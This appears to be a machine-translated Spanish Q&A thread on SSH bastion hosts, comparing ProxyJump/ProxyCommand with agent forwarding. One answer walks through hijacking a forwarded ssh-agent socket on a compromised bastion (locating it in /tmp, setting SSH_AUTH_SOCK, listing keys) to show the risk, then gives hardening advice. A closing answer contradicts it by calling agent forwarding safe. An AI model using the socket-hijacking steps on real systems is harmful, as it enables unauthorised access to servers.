Servidor bastión:use el reenvío TCP VS colocando la clave privada en el servidor

Usar ProxyCommand o ProxyJump

Recomendaría usar ProxyCommand (o incluso mejor ProxyJump ya que la sintaxis es más sencilla pero requiere openssh 7.3+, creo que en el lado del cliente), y no necesita implementar una clave privada en Bastion, todo permanece local.

Ejemplo con ProxyJump

En su computadora cliente, escriba un archivo bajo ~/.ssh/config con un contenido similar al siguiente:

Host bastion
  HostName bastion.example.com
  User bastion-user
  Port 22
  IdentityFile ~/.ssh/id_bastion

Host srvC
  HostName srvC.local
  User server-user
  IdentityFile ~/.ssh/id_protected_lan
  ProxyJump bastion

Luego haciendo ssh srvC lo conectará a C a través de B (bastión) sin el reenvío de agentes ni la implementación de la clave privada en el bastión.

En el ejemplo anterior, "bastion" es un alias de su host Bastion y srvC es un alias de su servidor C. En el HostName debe colocar direcciones IP o un nombre de dominio real totalmente calificado para sus hosts. Para los usuarios, debe actualizar el User para el nombre de inicio de sesión correcto en Bastion y el servidor C. Finalmente, el IdentityFile es opcional si usa un agente local (por ejemplo, KeeAgent o ssh-agent), pero si no se está ejecutando, también funcionará y le pedirá las frases de contraseña de cada clave.

Implementación de claves públicas

Por supuesto, debe implementar el público claves tanto para bastión como para srvC. Puede usar (el signo $ es solo para ilustrar el aviso, no lo escriba):

$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
   -o PreferredAuthentications=password \
   -o PubkeyAuthentication=no \
   srvC

Nota:lo anterior funcionará solo si aún se permite la autenticación de contraseña. Después de la implementación anterior y de verificar que todo funcione según lo previsto, debe deshabilitar la autenticación de contraseña en los 2 servidores.

Ejemplo con ProxyCommand en lugar de ProxyJump

Si tiene una versión anterior de OpenSSH que no es compatible con ProxyJump (en el lado del cliente), luego reemplace:

ProxyJump bastion

por

ProxyCommand ssh -q -W %h:%p bastion

Por lo que entendí, esto es similar.

Vi la respuesta sobre ProxyJump. Hablemos de ProxyCommand .

¡Pero espera, espera! Puedo escribirte cómo hackear el servidor que utiliza el reenvío de agentes, ¡eso sería mucho más fácil de entender la diferencia!

¡Vamos a hackear!

Para los pasos básicos:puedes leer mi publicación aquí

Los pasos básicos son los siguientes:

1. Crear usuarios bastión
2. Deshabilitar inicio de sesión raíz
3. Bloquear intentos de piratería
4. Cambiar puerto
5. Configurar cortafuegos
6. Configurar SELinux

Cómo usar AgentForwarding

-Crear configuración en ~/.ssh/config

  Host bast
        Hostname BASTION_IP
        ForwardAgent yes
        User bastion

-Agregue su clave de autenticación a ssh-agent

ssh-add ~/.ssh/name_rsa

-Conectar a bastión hos

ssh bast

-Conectar servidor de aplicaciones desde el bastión

 ssh [email protected] -p PORT

¡Hackear!

Puede, bueno, hacerme la pregunta:

• ¿Es seguro mi servidor? Y la respuesta es bastante simple:

  • ¡NO!

• ¿Por qué?

  • ¡Porque está utilizando el reenvío de agente SSH!

• ¿Y dónde está el problema?

  • Porque el reenvío de agentes es peligroso y se considera dañino.

• ¿Por qué?

  • Expliquémoslo todo de adentro hacia afuera:cuando se conecta al host bastión, se reenvía su glorioso ssh-agent. Significa que el socket se configurará para que alguien pueda usar estos datos de socket para acceder a sus servidores. Imagine que su servidor bastión está comprometido. Si alguien tiene suficientes permisos en su servidor Linux, simplemente usará la información de su socket. Como resultado, se puede acceder a todo su servidor. Sé que la ventana de compromiso es muy pequeña porque depende de cuánto tiempo esté conectado al host bastión. Pero, ¿realmente quiere correr el riesgo cuando tiene otras opciones como ProxyCommand? Por lo tanto, ¡simplemente use ProxyCommand!

¿Cómo piratear servidores si comprometió el host bastión?

Objetivo de seguimiento

En el directorio /tmp puede ver algo así:

[[email protected] tmp]# ll
total 12
drwx------  2 bastion bastion 4096 Sep  7 17:35 ssh-mKX88v0Vlo

Abramos el archivo temporal

[[email protected] tmp]# cd ssh-mKX88v0Vlo/
[[email protected] ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep  7 17:35 agent.10507

Veamos conexiones a este ID de proceso.

netstat -nxp | grep  10507

resultado:

unix  [ ]   STREAM     CONNECTED     501384   10507/sshd: bastion

y ¿quién está conectado?

lsof -i -a -p 10507

resultado:

COMMAND  PID   USER  FD  TYPE DEVICE SIZE/OFF NODE NAME
sshd    10507 bastion  3u  IPv4 501301  0t0  TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)

También podemos ver archivos de socket:

cd /proc/10507/fd/
ls

resultado:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Y qué sucede cuando el cliente se conectará al servidor remoto? veamos:

lrwx------ 1 root root 64 Sep  7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep  7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep  7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep  7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep  7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep  7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep  7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep  7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep  7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep  7 17:46 9 -> socket:[502080]

Incluso podemos ver si el archivo de socket se usa usando netstat:

unix  3 [ ]  STREAM  CONNECTED  502267  10561/sshd: 
                     bastion  /tmp/ssh-oVoMXC6vb8/agent.10561
unix  3  [ ] STREAM     CONNECTED     502072   10561/sshd:  bastion 

Robar información de socket y dirección IP

Ahora necesitamos robar la información del socket mientras la sesión del host bastión está abierta . Oh, también necesitamos IP del servidor de destino , así que solo usa netstat:

netstat -tn

El paso final para usar el archivo de socket reenviado

eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507

Comprueba si la clave está cargada .

ssh-add -l

el resultado debería ser algo así :

2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)

El servidor está pirateado, ¿cómo solucionar el problema de seguridad?

Comando de proxy

Host app
    Hostname *.*.*.*
    IdentityFile ~/.ssh/your_rsa
    User *******
    Port ****
    ProxyCommand ssh -W %h:%p bast

Host bast
     Hostname *.*.*.*
     ForwardAgent no
     User ******

Para operaciones básicas:cómo transferir archivos a través de los servidores (de cliente a servidor, de servidor a cliente), puede leer en mi publicación aquí

Conclusión

• Si usa host bastión, no use AgentForwarding sino ProxyCommand
• Utilice siempre un usuario no root para la autenticación
• Utilice un cortafuegos y bloquee todas las conexiones innecesarias.
• Usar SELinux (en general)
• Bloquear la dirección IP que intenta iniciar sesión varias veces con credenciales incorrectas
• Si no es necesario, no le dé permiso de sudo al usuario
• Supervise su servidor
• Actualice su servidor para parches de seguridad

Más información, ver mi blog. Además, tengo algunas capturas de pantalla, por lo que puede ser útil para usted.

Simplemente use reenvío de agente SSH como la mayoría de los demás.

• Las claves estarán en ssh agent en tu portátil.
• Usted inicia sesión en Bastion, autenticado a través del agente.
• Desde allí, inicie sesión en su host de destino, con la solicitud de autenticación reenviada a su computadora portátil .

Ventaja:no hay claves almacenadas en el bastión que puedan ser mal utilizadas.

Espero que ayude :)